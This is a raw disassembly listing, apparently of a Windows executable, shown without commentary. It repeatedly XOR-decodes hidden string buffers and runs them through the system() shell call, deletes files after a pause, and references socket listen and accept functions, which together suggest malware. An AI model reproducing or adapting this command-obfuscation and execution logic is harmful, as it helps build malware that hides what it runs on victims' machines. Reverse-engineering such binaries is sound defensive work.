cmovae rcx, qword [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x40]
call fcn.140004890
mov rbx, rax
lea rax, [rbp + 0x68]
cmp rax, rbx
je 0x14000ace2
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000acb1
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000acac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ad16
call fcn.140074d8c
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000ad22
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ad1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rsi, qword [rbp + 0x98]
mov rax, r12
sub rax, rsi
cmp rax, 5
jb 0x14000dcaf
lea r15, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r15, qword [rbp + 0x88]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r14, [rsi + 5]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rsp + 0x40]
cmp r14, rdi
jbe 0x14000adf1
mov rdi, r14
or rdi, 0xf
cmp rdi, r12
jbe 0x14000ad86
mov rdi, r12
jmp 0x14000ad93
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000adda
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dc61
mov rcx, rax
call fcn.140074d50
test rax, rax
je 0x14000aed1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000adec
test rcx, rcx
je 0x14000ade9
call fcn.140074d50
mov rbx, rax
jmp 0x14000adec
mov rbx, r13
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rdi
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [str.__SS]
mov dword [rbx + rsi], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + rsi + 4], al
mov byte [rbx + r14], 0
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140010c20
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x14000ae95
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ae90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
movups xmmword [rbp + 0x48], xmm6
movups xmmword [rbp + 0x58], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000aedd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aed8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aed8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae rcx, qword [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x70]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__SM
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x70]
call fcn.140004a60
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__SU
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x3e8]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x70]
call fcn.140004a60
mov rdx, rax
lea rcx, [rbp + 0x348]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__SU_ID
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x348]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x70]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__SK
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x70]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__BV
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x70]
call fcn.1400119d0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140011b30
mov rbx, rax
lea rax, [rbp + 0x48]
cmp rax, rbx
je 0x14000b19e
mov r8, qword [rbp + 0x60]
cmp r8, 0x10
jb 0x14000b170
inc r8
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x48]
call fcn.140001a40
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000b1de
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b1d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b1d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000b230
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b22b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b22b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x70]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__SV
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
lea rcx, [rsp + 0x70]
call fcn.140004890
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
lea r8, str.__bs
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400119d0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140011b30
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140010860
lea rcx, [rsp + 0x70]
call fcn.1400019a0
nop
lea rcx, [rsp + 0x40]
call fcn.1400019a0
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x48]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x108]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x188]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x88]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x128]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x188]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xa8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x168]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xe8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x108]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0xc8]
call fcn.140010830
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x1400893b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400893c0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400893d0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400893e0]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [0x1400893f0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089400]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140089410]
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x140089420]
movsd qword [rbp], xmm0
mov edi, Ordinal_35
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14000b66d
movdqa xmm5, xmmword [0x140089780]
mov edx, r13d
movdqa xmm4, xmmword [0x1400897d0]
mov r14d, 4
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x78
jl 0x14000b570
jmp 0x14000b6b6
lea r9, [rbp - 0x70]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x78
jl 0x14000b680
mov r14d, 4
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.jeyz]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400896e0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x1400896f0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089700]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.5___8]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089720]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140089730]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140089740]
movups xmmword [rbp], xmm1
mov eax, dword [0x140089750]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x140089754]
mov byte [rbp + 0x14], al
mov r8d, r13d
cmp ebx, 2
jl 0x14000b879
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000b770
cmp r8d, 0x85
jge 0x14000b8c3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x14000b890
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400892f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089300]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089310]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089320]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.____t__5qt_a]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089340]
movups xmmword [rbp - 0x20], xmm1
movsd xmm0, qword [0x140089350]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x140089358]
mov dword [rbp - 8], eax
mov r8d, r13d
cmp ebx, 2
jl 0x14000ba73
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x14000b970
cmp r8d, 0x6c
jge 0x14000bab0
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6c
jl 0x14000ba80
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140089550]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089560]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089570]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089580]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.__]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1400895a0]
movups xmmword [rbp - 0x20], xmm1
mov eax, dword [0x1400895b0]
mov dword [rbp - 0x10], eax
mov r8d, r13d
cmp ebx, 2
jl 0x14000bc53
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000bb50
cmp r8d, 0x64
jge 0x14000bc90
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x64
jl 0x14000bc60
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400891e0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400891f0]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089200]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140089210]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [str.2__._a___v7ps]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140089230]
movups xmmword [rbp - 0x20], xmm1
movzx eax, word [0x140089240]
mov word [rbp - 0x10], ax
movzx eax, byte [0x140089242]
mov byte [rbp - 0xe], al
mov r8d, r13d
cmp ebx, 2
jl 0x14000be43
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
